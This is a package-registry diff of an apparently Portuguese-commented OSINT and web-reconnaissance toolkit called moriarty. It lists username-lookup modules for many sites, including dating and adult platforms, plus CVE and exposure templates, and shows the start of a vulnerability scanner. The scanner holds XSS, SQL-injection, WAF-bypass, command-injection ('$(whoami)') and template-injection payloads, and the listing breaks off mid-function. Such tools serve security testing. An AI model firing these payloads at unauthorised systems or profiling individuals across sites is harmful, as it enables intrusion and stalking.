moriarty-project 0.1.6__py3-none-any.whl

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (416) hide show
  1. moriarty/__init__.py +5 -0
  2. moriarty/adapters/__init__.py +0 -0
  3. moriarty/agent/__init__.py +0 -0
  4. moriarty/assets/modules/.gitkeep +0 -0
  5. moriarty/assets/modules/asia/douban.yaml +19 -0
  6. moriarty/assets/modules/asia/kakao.yaml +19 -0
  7. moriarty/assets/modules/asia/line.yaml +19 -0
  8. moriarty/assets/modules/asia/mixi.yaml +19 -0
  9. moriarty/assets/modules/asia/naver.yaml +19 -0
  10. moriarty/assets/modules/asia/qq.yaml +19 -0
  11. moriarty/assets/modules/asia/vk.yaml +19 -0
  12. moriarty/assets/modules/asia/wechat.yaml +19 -0
  13. moriarty/assets/modules/asia/weibo.yaml +19 -0
  14. moriarty/assets/modules/asia/xiaohongshu.yaml +19 -0
  15. moriarty/assets/modules/behance.yaml +47 -0
  16. moriarty/assets/modules/business/crunchbase.yaml +27 -0
  17. moriarty/assets/modules/business/fiverr.yaml +32 -0
  18. moriarty/assets/modules/business/freelancer.yaml +27 -0
  19. moriarty/assets/modules/business/glassdoor.yaml +27 -0
  20. moriarty/assets/modules/business/guru.yaml +26 -0
  21. moriarty/assets/modules/business/indeed.yaml +25 -0
  22. moriarty/assets/modules/business/monster.yaml +25 -0
  23. moriarty/assets/modules/business/peopleperhour.yaml +26 -0
  24. moriarty/assets/modules/business/toptal.yaml +28 -0
  25. moriarty/assets/modules/business/upwork.yaml +27 -0
  26. moriarty/assets/modules/business/ziprecruiter.yaml +25 -0
  27. moriarty/assets/modules/content/buymeacoffee.yaml +27 -0
  28. moriarty/assets/modules/content/gumroad.yaml +27 -0
  29. moriarty/assets/modules/content/ko-fi.yaml +32 -0
  30. moriarty/assets/modules/content/onlyfans.yaml +27 -0
  31. moriarty/assets/modules/content/patreon.yaml +33 -0
  32. moriarty/assets/modules/content/substack.yaml +32 -0
  33. moriarty/assets/modules/creative/500px.yaml +31 -0
  34. moriarty/assets/modules/creative/artstation.yaml +33 -0
  35. moriarty/assets/modules/creative/deviantart.yaml +32 -0
  36. moriarty/assets/modules/creative/flickr.yaml +31 -0
  37. moriarty/assets/modules/creative/pexels.yaml +26 -0
  38. moriarty/assets/modules/creative/unsplash.yaml +26 -0
  39. moriarty/assets/modules/creative/vimeo.yaml +31 -0
  40. moriarty/assets/modules/crypto/binance.yaml +27 -0
  41. moriarty/assets/modules/crypto/bitcointalk.yaml +33 -0
  42. moriarty/assets/modules/crypto/coinbase.yaml +26 -0
  43. moriarty/assets/modules/crypto/etherscan.yaml +32 -0
  44. moriarty/assets/modules/crypto/foundation.yaml +28 -0
  45. moriarty/assets/modules/crypto/kraken.yaml +27 -0
  46. moriarty/assets/modules/crypto/mirror.yaml +27 -0
  47. moriarty/assets/modules/crypto/niftygateway.yaml +26 -0
  48. moriarty/assets/modules/crypto/opensea.yaml +32 -0
  49. moriarty/assets/modules/crypto/rarible.yaml +27 -0
  50. moriarty/assets/modules/crypto/superrare.yaml +29 -0
  51. moriarty/assets/modules/dating/bumble.yaml +25 -0
  52. moriarty/assets/modules/dating/grindr.yaml +27 -0
  53. moriarty/assets/modules/dating/happn.yaml +25 -0
  54. moriarty/assets/modules/dating/her.yaml +27 -0
  55. moriarty/assets/modules/dating/hinge.yaml +25 -0
  56. moriarty/assets/modules/dating/match.yaml +25 -0
  57. moriarty/assets/modules/dating/meetme.yaml +27 -0
  58. moriarty/assets/modules/dating/okcupid.yaml +25 -0
  59. moriarty/assets/modules/dating/pof.yaml +25 -0
  60. moriarty/assets/modules/dating/tinder.yaml +25 -0
  61. moriarty/assets/modules/dating-nsfw/adultfriendfinder.yaml +28 -0
  62. moriarty/assets/modules/dating-nsfw/ashley-madison.yaml +26 -0
  63. moriarty/assets/modules/design/adobe-portfolio.yaml +27 -0
  64. moriarty/assets/modules/design/carbonmade.yaml +27 -0
  65. moriarty/assets/modules/design/cgsociety.yaml +27 -0
  66. moriarty/assets/modules/design/coroflot.yaml +27 -0
  67. moriarty/assets/modules/design/figma.yaml +27 -0
  68. moriarty/assets/modules/design/sketch.yaml +26 -0
  69. moriarty/assets/modules/dev/bitbucket.yaml +35 -0
  70. moriarty/assets/modules/dev/codeforces.yaml +32 -0
  71. moriarty/assets/modules/dev/codepen.yaml +34 -0
  72. moriarty/assets/modules/dev/hackerone.yaml +32 -0
  73. moriarty/assets/modules/dev/hackthebox.yaml +27 -0
  74. moriarty/assets/modules/dev/huggingface.yaml +27 -0
  75. moriarty/assets/modules/dev/kaggle.yaml +32 -0
  76. moriarty/assets/modules/dev/leetcode.yaml +32 -0
  77. moriarty/assets/modules/dev/replit.yaml +31 -0
  78. moriarty/assets/modules/dribbble.yaml +53 -0
  79. moriarty/assets/modules/ecommerce/etsy.yaml +32 -0
  80. moriarty/assets/modules/education/duolingo.yaml +32 -0
  81. moriarty/assets/modules/education/edx.yaml +26 -0
  82. moriarty/assets/modules/education/khanacademy.yaml +26 -0
  83. moriarty/assets/modules/education/lynda.yaml +27 -0
  84. moriarty/assets/modules/education/memrise.yaml +27 -0
  85. moriarty/assets/modules/education/pluralsight.yaml +27 -0
  86. moriarty/assets/modules/education/skillshare.yaml +27 -0
  87. moriarty/assets/modules/education/udacity.yaml +27 -0
  88. moriarty/assets/modules/email/github_email.yaml +40 -0
  89. moriarty/assets/modules/email/gravatar.yaml +23 -0
  90. moriarty/assets/modules/europe/badoo.yaml +19 -0
  91. moriarty/assets/modules/europe/lovoo.yaml +19 -0
  92. moriarty/assets/modules/europe/myspace.yaml +19 -0
  93. moriarty/assets/modules/europe/netlog.yaml +19 -0
  94. moriarty/assets/modules/europe/ok.yaml +19 -0
  95. moriarty/assets/modules/europe/skyrock.yaml +19 -0
  96. moriarty/assets/modules/europe/studivz.yaml +19 -0
  97. moriarty/assets/modules/europe/tuenti.yaml +19 -0
  98. moriarty/assets/modules/europe/viadeo.yaml +19 -0
  99. moriarty/assets/modules/europe/xing.yaml +19 -0
  100. moriarty/assets/modules/fitness/fitbit.yaml +27 -0
  101. moriarty/assets/modules/fitness/garmin.yaml +27 -0
  102. moriarty/assets/modules/fitness/myfitnesspal.yaml +27 -0
  103. moriarty/assets/modules/fitness/strava.yaml +33 -0
  104. moriarty/assets/modules/fitness/zwift.yaml +28 -0
  105. moriarty/assets/modules/food/allrecipes.yaml +27 -0
  106. moriarty/assets/modules/food/tasty.yaml +27 -0
  107. moriarty/assets/modules/food/yelp.yaml +32 -0
  108. moriarty/assets/modules/food/zomato.yaml +28 -0
  109. moriarty/assets/modules/forums/4chan.yaml +26 -0
  110. moriarty/assets/modules/forums/8kun.yaml +26 -0
  111. moriarty/assets/modules/forums/9gag.yaml +26 -0
  112. moriarty/assets/modules/forums/discourse.yaml +26 -0
  113. moriarty/assets/modules/forums/disqus.yaml +31 -0
  114. moriarty/assets/modules/forums/hackernews.yaml +32 -0
  115. moriarty/assets/modules/forums/launchpad.yaml +27 -0
  116. moriarty/assets/modules/forums/phpbb.yaml +25 -0
  117. moriarty/assets/modules/forums/quora.yaml +32 -0
  118. moriarty/assets/modules/forums/serverfault.yaml +27 -0
  119. moriarty/assets/modules/forums/slashdot.yaml +28 -0
  120. moriarty/assets/modules/forums/stackexchange.yaml +32 -0
  121. moriarty/assets/modules/forums/superuser.yaml +27 -0
  122. moriarty/assets/modules/forums/vbulletin.yaml +25 -0
  123. moriarty/assets/modules/forums/xenforo.yaml +25 -0
  124. moriarty/assets/modules/forums-nsfw/kiwifarms.yaml +25 -0
  125. moriarty/assets/modules/forums-nsfw/lolcow.yaml +26 -0
  126. moriarty/assets/modules/gaming/apextracker.yaml +27 -0
  127. moriarty/assets/modules/gaming/battlenet.yaml +26 -0
  128. moriarty/assets/modules/gaming/chess.yaml +30 -0
  129. moriarty/assets/modules/gaming/discord-public.yaml +27 -0
  130. moriarty/assets/modules/gaming/dotabuff.yaml +32 -0
  131. moriarty/assets/modules/gaming/epicgames.yaml +25 -0
  132. moriarty/assets/modules/gaming/faceit.yaml +33 -0
  133. moriarty/assets/modules/gaming/fortnitetracker.yaml +32 -0
  134. moriarty/assets/modules/gaming/gog.yaml +26 -0
  135. moriarty/assets/modules/gaming/itch.yaml +32 -0
  136. moriarty/assets/modules/gaming/kongregate.yaml +25 -0
  137. moriarty/assets/modules/gaming/minecraft.yaml +31 -0
  138. moriarty/assets/modules/gaming/opgg.yaml +32 -0
  139. moriarty/assets/modules/gaming/origin.yaml +26 -0
  140. moriarty/assets/modules/gaming/playstation.yaml +30 -0
  141. moriarty/assets/modules/gaming/roblox.yaml +31 -0
  142. moriarty/assets/modules/gaming/xbox.yaml +25 -0
  143. moriarty/assets/modules/github.yaml +68 -0
  144. moriarty/assets/modules/gitlab.yaml +60 -0
  145. moriarty/assets/modules/instagram.yaml +48 -0
  146. moriarty/assets/modules/latam/fotolog.yaml +27 -0
  147. moriarty/assets/modules/latam/orkut.yaml +26 -0
  148. moriarty/assets/modules/latam/taringa.yaml +27 -0
  149. moriarty/assets/modules/learning/coursera.yaml +26 -0
  150. moriarty/assets/modules/learning/udemy.yaml +26 -0
  151. moriarty/assets/modules/linkedin.yaml +40 -0
  152. moriarty/assets/modules/marketplaces/depop.yaml +28 -0
  153. moriarty/assets/modules/marketplaces/ebay.yaml +32 -0
  154. moriarty/assets/modules/marketplaces/grailed.yaml +27 -0
  155. moriarty/assets/modules/marketplaces/mercari.yaml +26 -0
  156. moriarty/assets/modules/marketplaces/poshmark.yaml +27 -0
  157. moriarty/assets/modules/marketplaces/reverb.yaml +27 -0
  158. moriarty/assets/modules/marketplaces/vinted.yaml +28 -0
  159. moriarty/assets/modules/medium.yaml +44 -0
  160. moriarty/assets/modules/music/audiomack.yaml +26 -0
  161. moriarty/assets/modules/music/bandcamp.yaml +30 -0
  162. moriarty/assets/modules/music/beatport.yaml +28 -0
  163. moriarty/assets/modules/music/deezer.yaml +26 -0
  164. moriarty/assets/modules/music/discogs.yaml +32 -0
  165. moriarty/assets/modules/music/genius.yaml +26 -0
  166. moriarty/assets/modules/music/lastfm.yaml +30 -0
  167. moriarty/assets/modules/music/mixcloud.yaml +26 -0
  168. moriarty/assets/modules/music/reverbnation.yaml +31 -0
  169. moriarty/assets/modules/music/soundcloud.yaml +31 -0
  170. moriarty/assets/modules/music/spotify.yaml +26 -0
  171. moriarty/assets/modules/music/tidal.yaml +26 -0
  172. moriarty/assets/modules/nsfw/adultwork.yaml +27 -0
  173. moriarty/assets/modules/nsfw/bongacams.yaml +28 -0
  174. moriarty/assets/modules/nsfw/cam4.yaml +28 -0
  175. moriarty/assets/modules/nsfw/chaturbate.yaml +28 -0
  176. moriarty/assets/modules/nsfw/clips4sale.yaml +27 -0
  177. moriarty/assets/modules/nsfw/extralunchmoney.yaml +27 -0
  178. moriarty/assets/modules/nsfw/fansly.yaml +28 -0
  179. moriarty/assets/modules/nsfw/fetlife.yaml +28 -0
  180. moriarty/assets/modules/nsfw/iwantclips.yaml +27 -0
  181. moriarty/assets/modules/nsfw/justforfans.yaml +28 -0
  182. moriarty/assets/modules/nsfw/loyalfans.yaml +28 -0
  183. moriarty/assets/modules/nsfw/manyvids.yaml +27 -0
  184. moriarty/assets/modules/nsfw/myfreecams.yaml +28 -0
  185. moriarty/assets/modules/nsfw/niteflirt.yaml +26 -0
  186. moriarty/assets/modules/nsfw/pornhub.yaml +32 -0
  187. moriarty/assets/modules/nsfw/redtube.yaml +27 -0
  188. moriarty/assets/modules/nsfw/stripchat.yaml +28 -0
  189. moriarty/assets/modules/nsfw/xhamster.yaml +27 -0
  190. moriarty/assets/modules/nsfw/xvideos.yaml +27 -0
  191. moriarty/assets/modules/nsfw/youporn.yaml +27 -0
  192. moriarty/assets/modules/photography/eyeem.yaml +25 -0
  193. moriarty/assets/modules/photography/fotki.yaml +25 -0
  194. moriarty/assets/modules/photography/photobucket.yaml +26 -0
  195. moriarty/assets/modules/photography/smugmug.yaml +25 -0
  196. moriarty/assets/modules/photography/vsco.yaml +27 -0
  197. moriarty/assets/modules/pinterest.yaml +40 -0
  198. moriarty/assets/modules/podcasts/anchor.yaml +26 -0
  199. moriarty/assets/modules/podcasts/castbox.yaml +26 -0
  200. moriarty/assets/modules/podcasts/podbean.yaml +26 -0
  201. moriarty/assets/modules/professional/about.yaml +31 -0
  202. moriarty/assets/modules/professional/academia.yaml +27 -0
  203. moriarty/assets/modules/professional/angellist.yaml +27 -0
  204. moriarty/assets/modules/professional/calendly.yaml +26 -0
  205. moriarty/assets/modules/professional/issuu.yaml +27 -0
  206. moriarty/assets/modules/professional/mendeley.yaml +27 -0
  207. moriarty/assets/modules/professional/notion.yaml +27 -0
  208. moriarty/assets/modules/professional/orcid.yaml +27 -0
  209. moriarty/assets/modules/professional/producthunt.yaml +31 -0
  210. moriarty/assets/modules/professional/researchgate.yaml +32 -0
  211. moriarty/assets/modules/professional/scribd.yaml +27 -0
  212. moriarty/assets/modules/professional/slideshare.yaml +31 -0
  213. moriarty/assets/modules/professional/trello.yaml +26 -0
  214. moriarty/assets/modules/professional/typeform.yaml +27 -0
  215. moriarty/assets/modules/reddit.yaml +46 -0
  216. moriarty/assets/modules/regional/amino.yaml +27 -0
  217. moriarty/assets/modules/regional/ask-fm.yaml +32 -0
  218. moriarty/assets/modules/regional/babycenter.yaml +26 -0
  219. moriarty/assets/modules/regional/cafemom.yaml +27 -0
  220. moriarty/assets/modules/regional/care2.yaml +27 -0
  221. moriarty/assets/modules/regional/diaspora.yaml +26 -0
  222. moriarty/assets/modules/regional/ello.yaml +27 -0
  223. moriarty/assets/modules/regional/gaia.yaml +27 -0
  224. moriarty/assets/modules/regional/habbo.yaml +27 -0
  225. moriarty/assets/modules/regional/imvu.yaml +27 -0
  226. moriarty/assets/modules/regional/lemmy.yaml +27 -0
  227. moriarty/assets/modules/regional/peertube.yaml +26 -0
  228. moriarty/assets/modules/regional/pixelfed.yaml +27 -0
  229. moriarty/assets/modules/regional/plurk.yaml +26 -0
  230. moriarty/assets/modules/regional/recroom.yaml +27 -0
  231. moriarty/assets/modules/regional/secondlife.yaml +26 -0
  232. moriarty/assets/modules/regional/vine-archive.yaml +27 -0
  233. moriarty/assets/modules/regional/vrchat.yaml +27 -0
  234. moriarty/assets/modules/regional/weheartit.yaml +27 -0
  235. moriarty/assets/modules/social/anilist.yaml +27 -0
  236. moriarty/assets/modules/social/beacons.yaml +26 -0
  237. moriarty/assets/modules/social/blogger.yaml +27 -0
  238. moriarty/assets/modules/social/crunchyroll.yaml +27 -0
  239. moriarty/assets/modules/social/discord.yaml +27 -0
  240. moriarty/assets/modules/social/dreamwidth.yaml +26 -0
  241. moriarty/assets/modules/social/facebook.yaml +34 -0
  242. moriarty/assets/modules/social/goodreads.yaml +32 -0
  243. moriarty/assets/modules/social/imdb.yaml +27 -0
  244. moriarty/assets/modules/social/kitsu.yaml +27 -0
  245. moriarty/assets/modules/social/letterboxd.yaml +32 -0
  246. moriarty/assets/modules/social/linktree.yaml +26 -0
  247. moriarty/assets/modules/social/livejournal.yaml +27 -0
  248. moriarty/assets/modules/social/mastodon.yaml +30 -0
  249. moriarty/assets/modules/social/minds.yaml +25 -0
  250. moriarty/assets/modules/social/myanimelist.yaml +32 -0
  251. moriarty/assets/modules/social/ravelry.yaml +27 -0
  252. moriarty/assets/modules/social/snapchat.yaml +25 -0
  253. moriarty/assets/modules/social/telegram.yaml +35 -0
  254. moriarty/assets/modules/social/tiktok.yaml +35 -0
  255. moriarty/assets/modules/social/trakt.yaml +28 -0
  256. moriarty/assets/modules/social/wattpad.yaml +32 -0
  257. moriarty/assets/modules/social/wordpress-com.yaml +26 -0
  258. moriarty/assets/modules/sports/espn.yaml +26 -0
  259. moriarty/assets/modules/sports/untappd.yaml +32 -0
  260. moriarty/assets/modules/stackoverflow.yaml +47 -0
  261. moriarty/assets/modules/steam.yaml +47 -0
  262. moriarty/assets/modules/streaming/caffeine.yaml +25 -0
  263. moriarty/assets/modules/streaming/dlive.yaml +27 -0
  264. moriarty/assets/modules/streaming/trovo.yaml +25 -0
  265. moriarty/assets/modules/travel/airbnb.yaml +26 -0
  266. moriarty/assets/modules/travel/booking.yaml +26 -0
  267. moriarty/assets/modules/travel/couchsurfing.yaml +27 -0
  268. moriarty/assets/modules/travel/tripadvisor.yaml +32 -0
  269. moriarty/assets/modules/tumblr.yaml +40 -0
  270. moriarty/assets/modules/twitch.yaml +48 -0
  271. moriarty/assets/modules/twitter.yaml +39 -0
  272. moriarty/assets/modules/youtube.yaml +42 -0
  273. moriarty/assets/templates/cves/CVE-2017-5638.yaml +27 -0
  274. moriarty/assets/templates/cves/CVE-2018-7600.yaml +30 -0
  275. moriarty/assets/templates/cves/CVE-2019-11510.yaml +27 -0
  276. moriarty/assets/templates/cves/CVE-2019-19781.yaml +28 -0
  277. moriarty/assets/templates/cves/CVE-2020-14882.yaml +28 -0
  278. moriarty/assets/templates/cves/CVE-2020-14883.yaml +29 -0
  279. moriarty/assets/templates/cves/CVE-2020-3452.yaml +28 -0
  280. moriarty/assets/templates/cves/CVE-2020-5902.yaml +28 -0
  281. moriarty/assets/templates/cves/CVE-2021-21972.yaml +31 -0
  282. moriarty/assets/templates/cves/CVE-2021-21985.yaml +28 -0
  283. moriarty/assets/templates/cves/CVE-2021-26084.yaml +30 -0
  284. moriarty/assets/templates/cves/CVE-2021-41773.yaml +25 -0
  285. moriarty/assets/templates/cves/CVE-2021-42013.yaml +28 -0
  286. moriarty/assets/templates/cves/CVE-2021-44228.yaml +27 -0
  287. moriarty/assets/templates/cves/CVE-2022-0185.yaml +21 -0
  288. moriarty/assets/templates/cves/CVE-2022-1388.yaml +36 -0
  289. moriarty/assets/templates/cves/CVE-2022-22954.yaml +28 -0
  290. moriarty/assets/templates/cves/CVE-2022-22965.yaml +31 -0
  291. moriarty/assets/templates/cves/CVE-2022-26134.yaml +27 -0
  292. moriarty/assets/templates/cves/CVE-2023-22515.yaml +27 -0
  293. moriarty/assets/templates/cves/CVE-2023-22527.yaml +29 -0
  294. moriarty/assets/templates/cves/CVE-2023-23752.yaml +33 -0
  295. moriarty/assets/templates/cves/CVE-2023-27350.yaml +27 -0
  296. moriarty/assets/templates/cves/CVE-2023-2868.yaml +27 -0
  297. moriarty/assets/templates/cves/CVE-2023-34362.yaml +27 -0
  298. moriarty/assets/templates/cves/CVE-2023-3519.yaml +28 -0
  299. moriarty/assets/templates/cves/CVE-2023-4966.yaml +27 -0
  300. moriarty/assets/templates/default-logins/admin-weak.yaml +40 -0
  301. moriarty/assets/templates/default-logins/wordpress-default.yaml +38 -0
  302. moriarty/assets/templates/exposures/aws-credentials.yaml +35 -0
  303. moriarty/assets/templates/exposures/backup-files.yaml +36 -0
  304. moriarty/assets/templates/exposures/database-files.yaml +34 -0
  305. moriarty/assets/templates/exposures/docker-exposed.yaml +31 -0
  306. moriarty/assets/templates/exposures/env-exposed.yaml +41 -0
  307. moriarty/assets/templates/exposures/git-exposed.yaml +41 -0
  308. moriarty/assets/templates/exposures/phpinfo.yaml +36 -0
  309. moriarty/assets/templates/exposures/svn-exposed.yaml +28 -0
  310. moriarty/assets/templates/fuzzing/api-endpoints.yaml +39 -0
  311. moriarty/assets/templates/fuzzing/common-files.yaml +37 -0
  312. moriarty/assets/templates/fuzzing/open-redirect-fuzz.yaml +35 -0
  313. moriarty/assets/templates/fuzzing/xss-search-fuzz.yaml +29 -0
  314. moriarty/assets/templates/git-config.yaml +18 -0
  315. moriarty/assets/templates/misconfigurations/cors-misconfiguration.yaml +30 -0
  316. moriarty/assets/templates/misconfigurations/debug-enabled.yaml +29 -0
  317. moriarty/assets/templates/misconfigurations/directory-listing.yaml +33 -0
  318. moriarty/assets/templates/misconfigurations/jwt-none-algo.yaml +30 -0
  319. moriarty/assets/templates/misconfigurations/ssl-tls-weak.yaml +23 -0
  320. moriarty/assets/templates/vulnerabilities/lfi-basic.yaml +31 -0
  321. moriarty/assets/templates/vulnerabilities/open-redirect.yaml +31 -0
  322. moriarty/assets/templates/vulnerabilities/rce-basic.yaml +34 -0
  323. moriarty/assets/templates/vulnerabilities/sqli-error.yaml +39 -0
  324. moriarty/assets/templates/vulnerabilities/ssrf-basic.yaml +31 -0
  325. moriarty/assets/templates/vulnerabilities/xss-reflected.yaml +38 -0
  326. moriarty/assets/templates/vulnerabilities/xxe-basic.yaml +30 -0
  327. moriarty/assets/wordlists/subdomains-1000.txt +1063 -0
  328. moriarty/cli/__init__.py +3 -0
  329. moriarty/cli/app.py +120 -0
  330. moriarty/cli/async_utils.py +19 -0
  331. moriarty/cli/dns.py +83 -0
  332. moriarty/cli/domain_cmd.py +572 -0
  333. moriarty/cli/email.py +383 -0
  334. moriarty/cli/email_investigate.py +224 -0
  335. moriarty/cli/intelligence.py +329 -0
  336. moriarty/cli/output.py +62 -0
  337. moriarty/cli/rdap.py +94 -0
  338. moriarty/cli/state.py +38 -0
  339. moriarty/cli/tls.py +91 -0
  340. moriarty/cli/user.py +227 -0
  341. moriarty/core/cache_backend.py +223 -0
  342. moriarty/core/config_manager.py +303 -0
  343. moriarty/correlator/__init__.py +0 -0
  344. moriarty/data/__init__.py +81 -0
  345. moriarty/data/ioc/__init__.py +142 -0
  346. moriarty/data/ioc/matcher.py +254 -0
  347. moriarty/data/ioc/types.py +267 -0
  348. moriarty/data/local_intelligence.py +507 -0
  349. moriarty/data/signature_loaders/__init__.py +103 -0
  350. moriarty/data/signature_loaders/base.py +54 -0
  351. moriarty/data/signature_loaders/ioc_feed.py +356 -0
  352. moriarty/data/signature_loaders/wappalyzer.py +112 -0
  353. moriarty/dsl/__init__.py +0 -0
  354. moriarty/dsl/loader.py +99 -0
  355. moriarty/dsl/schema.py +47 -0
  356. moriarty/export/__init__.py +0 -0
  357. moriarty/intelligence/__init__.py +27 -0
  358. moriarty/intelligence/__main__.py +150 -0
  359. moriarty/intelligence/config.py +395 -0
  360. moriarty/intelligence/ioc.py +267 -0
  361. moriarty/intelligence/signatures.py +550 -0
  362. moriarty/intelligence/storage.py +501 -0
  363. moriarty/interop/__init__.py +0 -0
  364. moriarty/logging/__init__.py +0 -0
  365. moriarty/logging/config.py +47 -0
  366. moriarty/models/__init__.py +16 -0
  367. moriarty/models/assertion.py +24 -0
  368. moriarty/models/entity.py +22 -0
  369. moriarty/models/evidence.py +37 -0
  370. moriarty/models/relation.py +24 -0
  371. moriarty/models/types.py +28 -0
  372. moriarty/modules/__init__.py +0 -0
  373. moriarty/modules/avatar_hash.py +184 -0
  374. moriarty/modules/directory_fuzzer.py +322 -0
  375. moriarty/modules/dns_scan.py +40 -0
  376. moriarty/modules/domain_scanner.py +620 -0
  377. moriarty/modules/email_check.py +98 -0
  378. moriarty/modules/email_investigate.py +267 -0
  379. moriarty/modules/email_security.py +274 -0
  380. moriarty/modules/googlemaps_lookup.py +106 -0
  381. moriarty/modules/headless_executor.py +201 -0
  382. moriarty/modules/orchestrator.py +60 -0
  383. moriarty/modules/passive_recon.py +444 -0
  384. moriarty/modules/phone_extractor.py +151 -0
  385. moriarty/modules/pipeline_orchestrator.py +726 -0
  386. moriarty/modules/port_scanner.py +129 -0
  387. moriarty/modules/rdap.py +61 -0
  388. moriarty/modules/rdap_extended.py +188 -0
  389. moriarty/modules/stealth_mode.py +610 -0
  390. moriarty/modules/subdomain_discovery.py +595 -0
  391. moriarty/modules/technology_profiler.py +361 -0
  392. moriarty/modules/template_executor.py +239 -0
  393. moriarty/modules/template_scanner.py +1048 -0
  394. moriarty/modules/tls_scan.py +46 -0
  395. moriarty/modules/tls_validator.py +188 -0
  396. moriarty/modules/vuln_scanner.py +483 -0
  397. moriarty/modules/waf_detector.py +585 -0
  398. moriarty/modules/wayback_discovery.py +234 -0
  399. moriarty/modules/web_crawler.py +163 -0
  400. moriarty/net/__init__.py +0 -0
  401. moriarty/net/dns_cache.py +175 -0
  402. moriarty/net/dns_client.py +188 -0
  403. moriarty/net/rdap_client.py +52 -0
  404. moriarty/net/smtp_client.py +114 -0
  405. moriarty/net/tls_client.py +111 -0
  406. moriarty/parsers/__init__.py +0 -0
  407. moriarty/parsers/html_parser.py +136 -0
  408. moriarty/tests/__init__.py +0 -0
  409. moriarty/tests/test_email_service.py +17 -0
  410. moriarty/tests/test_models.py +46 -0
  411. moriarty/tests/test_orchestrator.py +30 -0
  412. moriarty/tests/test_tls_client.py +18 -0
  413. moriarty_project-0.1.6.dist-info/METADATA +388 -0
  414. moriarty_project-0.1.6.dist-info/RECORD +418 -0
  415. moriarty_project-0.1.6.dist-info/WHEEL +4 -0
  416. moriarty_project-0.1.6.dist-info/entry_points.txt +2 -0
@@ -0,0 +1,483 @@
1
+ """Scanner de vulnerabilidades XSS/SQLi com bypass de WAF."""
2
+ import asyncio
3
+ import re
4
+ from dataclasses import dataclass
5
+ from typing import List, Dict, Any, Optional, Set
6
+ from urllib.parse import urlencode, parse_qs, urlparse, urlunparse
7
+
8
+ import httpx
9
+ import structlog
10
+ from rich.console import Console
11
+ from rich.progress import Progress
12
+
13
+ logger = structlog.get_logger(__name__)
14
+ console = Console()
15
+
16
+
17
+ @dataclass
18
+ class Vulnerability:
19
+ """Vulnerabilidade encontrada."""
20
+ type: str # xss, sqli, rce, etc
21
+ severity: str # critical, high, medium, low
22
+ url: str
23
+ parameter: str
24
+ payload: str
25
+ method: str
26
+ evidence: str
27
+ poc: str
28
+
29
+
30
+ class VulnScanner:
31
+ """
32
+ Scanner de vulnerabilidades web.
33
+
34
+ Detecta:
35
+ - XSS (Reflected, Stored, DOM-based)
36
+ - SQL Injection (Error-based, Boolean-based, Time-based)
37
+ - Command Injection
38
+ - Template Injection
39
+ - Open Redirect
40
+ - SSRF
41
+ """
42
+
43
+ # XSS Payloads
44
+ XSS_PAYLOADS = [
45
+ # Basic
46
+ '<script>alert(1)</script>',
47
+ '<img src=x onerror=alert(1)>',
48
+ '<svg onload=alert(1)>',
49
+ # Encoded
50
+ '%3Cscript%3Ealert(1)%3C/script%3E',
51
+ # Context breaking
52
+ '"><script>alert(1)</script>',
53
+ '\'-alert(1)-\'',
54
+ # Event handlers
55
+ '" onmouseover="alert(1)',
56
+ '<body onload=alert(1)>',
57
+ # WAF bypass
58
+ '<scrip<script>t>alert(1)</script>',
59
+ '<img src=x oneonerrorrror=alert(1)>',
60
+ # Polyglot
61
+ 'jaVasCript:/*-/*`/*\`/*\'/*"/**/(/* */onerror=alert(1) )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert(1)//>',
62
+ ]
63
+
64
+ # SQLi Payloads
65
+ SQLI_PAYLOADS = [
66
+ # Error-based
67
+ "'",
68
+ '"',
69
+ "' OR '1'='1",
70
+ '" OR "1"="1',
71
+ "' OR '1'='1' --",
72
+ "' OR '1'='1' /*",
73
+ # Boolean-based
74
+ "1' AND '1'='1",
75
+ "1' AND '1'='2",
76
+ # Time-based
77
+ "1' AND SLEEP(5)--",
78
+ "1'; WAITFOR DELAY '00:00:05'--",
79
+ "1' AND (SELECT * FROM (SELECT(SLEEP(5)))a)--",
80
+ # Union-based
81
+ "' UNION SELECT NULL--",
82
+ "' UNION SELECT NULL,NULL--",
83
+ "' UNION SELECT NULL,NULL,NULL--",
84
+ # WAF bypass
85
+ "1'/**/OR/**/1=1--",
86
+ "1'/**/AND/**/SLEEP(5)--",
87
+ "1' /*!50000AND*/ SLEEP(5)--",
88
+ ]
89
+
90
+ # SQLi Error Signatures
91
+ SQLI_ERRORS = [
92
+ r"SQL syntax.*MySQL",
93
+ r"Warning.*mysql_.*",
94
+ r"valid MySQL result",
95
+ r"MySqlClient\.",
96
+ r"PostgreSQL.*ERROR",
97
+ r"Warning.*\Wpg_.*",
98
+ r"valid PostgreSQL result",
99
+ r"Npgsql\.",
100
+ r"Driver.* SQL[-_ ]*Server",
101
+ r"OLE DB.* SQL Server",
102
+ r"(\W|\A)SQL Server.*Driver",
103
+ r"Warning.*mssql_.*",
104
+ r"Microsoft SQL Native Client error",
105
+ r"ODBC SQL Server Driver",
106
+ r"SQLServer JDBC Driver",
107
+ r"Oracle error",
108
+ r"Oracle.*Driver",
109
+ r"Warning.*\Woci_.*",
110
+ r"Warning.*\Wora_.*",
111
+ ]
112
+
113
+ # Command Injection
114
+ CMD_PAYLOADS = [
115
+ '; ls',
116
+ '| ls',
117
+ '&& ls',
118
+ '|| ls',
119
+ '; whoami',
120
+ '| whoami',
121
+ '`whoami`',
122
+ '$(whoami)',
123
+ ]
124
+
125
+ # Template Injection
126
+ TEMPLATE_PAYLOADS = [
127
+ '{{7*7}}',
128
+ '${7*7}',
129
+ '<%= 7*7 %>',
130
+ '${{7*7}}',
131
+ '#{7*7}',
132
+ ]
133
+
134
+ def __init__(
135
+ self,
136
+ targets: List[Dict[str, Any]], # List of {url, method, params}
137
+ vuln_types: Optional[List[str]] = None,
138
+ threads: int = 10,
139
+ timeout: float = 10.0,
140
+ waf_bypass: bool = True,
141
+ stealth_level: int = 0,
142
+ ):
143
+ self.targets = targets
144
+ self.vuln_types = vuln_types or ['xss', 'sqli']
145
+ self.threads = threads
146
+ self.timeout = timeout
147
+ self.waf_bypass = waf_bypass
148
+ self.stealth_level = stealth_level
149
+
150
+ self.vulnerabilities: List[Vulnerability] = []
151
+
152
+ async def scan(self) -> List[Vulnerability]:
153
+ """Executa scan de vulnerabilidades."""
154
+ logger.info("vulnscan.start", targets=len(self.targets), types=self.vuln_types)
155
+
156
+ semaphore = asyncio.Semaphore(self.threads)
157
+
158
+ async with httpx.AsyncClient(
159
+ timeout=self.timeout,
160
+ follow_redirects=True,
161
